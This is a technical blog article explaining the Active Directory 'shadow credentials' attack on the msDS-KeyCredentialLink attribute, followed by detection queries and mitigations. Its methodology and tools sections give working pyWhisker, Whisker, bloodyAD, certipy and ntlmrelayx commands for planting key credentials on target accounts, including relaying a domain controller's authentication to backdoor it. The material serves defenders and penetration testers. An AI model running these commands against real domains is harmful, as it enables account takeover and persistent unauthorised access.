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Shadow Credentials Attack

Shadow credentials is an advanced Active Directory attack technique that exploits the msDS-KeyCredentialLink attribute to gain unauthorized access and maintain persistence.

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By mHijuxS
6 min read

Shadow Credentials Attack

Overview

Shadow credentials is an advanced Active Directory attack technique that exploits the msDS-KeyCredentialLink attribute to gain unauthorized access or maintain persistence within an environment. This method leverages the Windows Hello for Business (WHfB) feature, which allows users to authenticate using public key credentials.

What are Shadow Credentials?

In a typical WHfB deployment, a user generates a key pair during enrollment. The public key is then linked to the user’s object in Azure Active Directory (AAD) and subsequently synchronized to the on-premises AD’s msDS-KeyCredentialLink attribute. This attribute facilitates key-based authentication mechanisms within the AD environment.

Attackers can abuse this mechanism by adding their own public keys to the msDS-KeyCredentialLink attribute of target user accounts. By doing so, they can authenticate as the compromised user without needing their password, effectively bypassing traditional credential-based authentication methods.

How Shadow Credentials Work

Technical Process

The Kerberos authentication protocol works with tickets to grant access. A Service Ticket (ST) can be obtained by presenting a Ticket Granting Ticket (TGT). The TGT can only be obtained by validating pre-authentication, which can be done symmetrically (with DES, RC4, AES128 or AES256 keys) or asymmetrically (with certificates). The asymmetrical pre-authentication is called PKINIT.

  1. Key Pair Generation: Attackers create an RSA key pair (public/private)
  2. Certificate Creation: Create an X509 certificate configured with the public key
  3. KeyCredential Structure: Create a KeyCredential structure featuring the raw public key and add it to the msDS-KeyCredentialLink attribute
  4. PKINIT Authentication: Authenticate using PKINIT with the certificate and private key to obtain a TGT

Key Components

  • msDS-KeyCredentialLink Attribute: The AD attribute that stores key credential information (introduced with Windows Server 2016)
  • KeyCredentialLink Object: Contains public key information for certificate-based authentication
  • PKINIT: Kerberos extension that enables public key authentication (present since Windows 2000)
  • Windows Hello for Business: The legitimate feature that this attack technique abuses
  • X509 Certificates: Used for asymmetric pre-authentication in Kerberos

Attack Prerequisites

Domain Requirements

To perform a shadow credentials attack, the domain must meet these criteria:

  • Domain supports PKINIT and contains at least one Domain Controller running Windows Server 2016 or above
  • Domain Controller(s) has its own key pair for session key exchange (happens when AD CS is enabled or when a certificate authority is in place)
  • The msDS-KeyCredentialLink feature is available (introduced with Windows Server 2016)

Required Permissions

The attacker needs:

  • GenericWrite or GenericAll permissions on the target account
  • WriteProperty permissions on the msDS-KeyCredentialLink attribute
  • Control over an account that can edit the target object’s msDS-KeyCredentialLink attribute

Target Account Requirements

  • Target account must support certificate-based authentication
  • Account must not be in the “Protected Users” group
  • Account must have valid UPN (User Principal Name)
  • For computer objects: can only edit their own msDS-KeyCredentialLink attribute if KeyCredential is not already set

Attack Methodology

Step 1: Identify Target Accounts

The attacker selects a user or computer account to target, typically focusing on:

  • Service accounts with high privileges
  • Administrative accounts
  • Computer accounts for persistence

Step 2: Create Key Pair and Certificate

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# Create an RSA key pair
# Create an X509 certificate configured with the public key

Step 3: Add Shadow Credentials

Using pyWhisker (UNIX-like systems)

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# List existing shadow credentials
pywhisker.py -d "FQDN_DOMAIN" -u "USER" -p "PASSWORD" --target "TARGET_SAMNAME" --action "list"

# Add shadow credentials
pywhisker.py -d "FQDN_DOMAIN" -u "USER" -p "PASSWORD" --target "TARGET_SAMNAME" --action "add"

Using ntlmrelayx with pyWhisker

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# Relay NTLM authentication and add shadow credentials
ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'

Step 4: Authenticate with Certificate

Once the public key has been set in the msDS-KeyCredentialLink of the target, the certificate generated can be used with Pass-the-Certificate to obtain a TGT and further access.

Special Case: Self-Edit KCL Attribute

Important distinction:

  • User objects can’t edit their own msDS-KeyCredentialLink attribute
  • Computer objects can edit their own msDS-KeyCredentialLink attribute (if KeyCredential is not already set)

This enables scenarios like:

  1. Trigger an NTLM authentication from DC01
  2. Relay it to DC02
  3. Use pywhisker to edit DC01’s attribute
  4. Create a Kerberos PKINIT pre-authentication backdoor
  5. Maintain persistent access to DC01 with PKINIT and pass-the-cache

Detection Methods

Event Log Monitoring

Monitor for the following events:

  • Event ID 5136: A directory service object was modified
  • Event ID 4662: An operation was performed on an object
  • Event ID 4768: A Kerberos authentication ticket (TGT) was requested

PowerShell Detection

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# Find accounts with shadow credentials
Get-ADUser -Filter {msDS-KeyCredentialLink -ne $null} -Properties msDS-KeyCredentialLink

# Find computers with shadow credentials
Get-ADComputer -Filter {msDS-KeyCredentialLink -ne $null} -Properties msDS-KeyCredentialLink

# Detailed shadow credentials information
Get-ADUser -Identity "target_user" -Properties msDS-KeyCredentialLink | Select-Object -ExpandProperty msDS-KeyCredentialLink

SIEM Detection Rules

Monitor for Event ID 5136 with the following conditions:

  • winlog.event_data.AttributeLDAPDisplayName:"msDS-KeyCredentialLink"
  • winlog.event_data.AttributeValue :B\:828* (indicates KeyCredential structure)
  • Exclude legitimate Microsoft Online services (not winlog.event_data.SubjectUserName: MSOL_*)

Monitoring Directory Service Modifications

Detecting unauthorized modifications to the msDS-KeyCredentialLink attribute is crucial for identifying potential abuses of shadow credentials. In environments without WHfB or hybrid AAD join, any modification to this attribute should be considered suspicious.

Prevention and Mitigation

Access Control

  1. Principle of Least Privilege: Limit GenericWrite and GenericAll permissions
  2. Regular Auditing: Monitor for unusual permission grants
  3. Protected Users Group: Add sensitive accounts to Protected Users group

Monitoring

  1. Event Log Monitoring: Monitor for msDS-KeyCredentialLink modifications
  2. Certificate Monitoring: Monitor for unusual certificate requests
  3. Authentication Monitoring: Monitor for certificate-based authentication

Technical Controls

  1. Restrict Permissions: Limit the ability to modify the msDS-KeyCredentialLink attribute to only necessary accounts and services
  2. Implement Monitoring: Set up alerts for changes to the msDS-KeyCredentialLink attribute, especially for high-privilege accounts
  3. Regular Audits: Periodically review the msDS-KeyCredentialLink attributes of user accounts to ensure no unauthorized keys are present

Common Attack Scenarios

GenericWrite → Shadow Credentials Attack

Prerequisites: Attacker has GenericWrite or GenericAll permissions on target account

Attack Flow:

  1. Add Shadow Credentials: Use tools like bloodyAD, certipy, or pyWhisker to add key credentials to target account
  2. Request Certificate: Generate certificate using the added shadow credentials
  3. Authenticate: Use certificate for PKINIT authentication to obtain TGT
  4. Lateral Movement/Persistence: Use obtained access for further compromise

Target Types:

  • Service Accounts: For lateral movement and service impersonation
  • Computer Accounts: For persistence and domain controller access
  • High-Privilege Accounts: For privilege escalation and administrative access
  • Regular Users: For account takeover and credential theft

Tools and Exploitation

Primary Tools

pyWhisker

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# List shadow credentials on target
pywhisker.py -d "FQDN_DOMAIN" -u "USER" -p "PASSWORD" --target "TARGET_SAMNAME" --action "list"

# Add shadow credentials to target
pywhisker.py -d "FQDN_DOMAIN" -u "USER" -p "PASSWORD" --target "TARGET_SAMNAME" --action "add"

# Remove shadow credentials from target
pywhisker.py -d "FQDN_DOMAIN" -u "USER" -p "PASSWORD" --target "TARGET_SAMNAME" --action "remove"

ntlmrelayx Integration

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# Automatically add shadow credentials during NTLM relay
ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'

Whisker (Windows)

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# List shadow credentials
Whisker.exe list /target:target_user /domain:domain.com /dc:dc.domain.com

# Add shadow credentials
Whisker.exe add /target:target_user /domain:domain.com /dc:dc.domain.com

# Remove shadow credentials
Whisker.exe remove /target:target_user /domain:domain.com /dc:dc.domain.com /deviceid:device-id

bloodyAD

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# Add shadow credentials to target account
bloodyAD -d domain.com --host 10.10.10.10 -u user -p password add shadowCredentials target_account

# Remove shadow credentials from target account
bloodyAD -d domain.com --host 10.10.10.10 -u user -p password remove shadowCredentials target_account

certipy shadow

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# Automatically add shadow credentials and request certificate
certipy shadow -dc-ip 10.10.10.10 -u user -p password -account target_account auto

References

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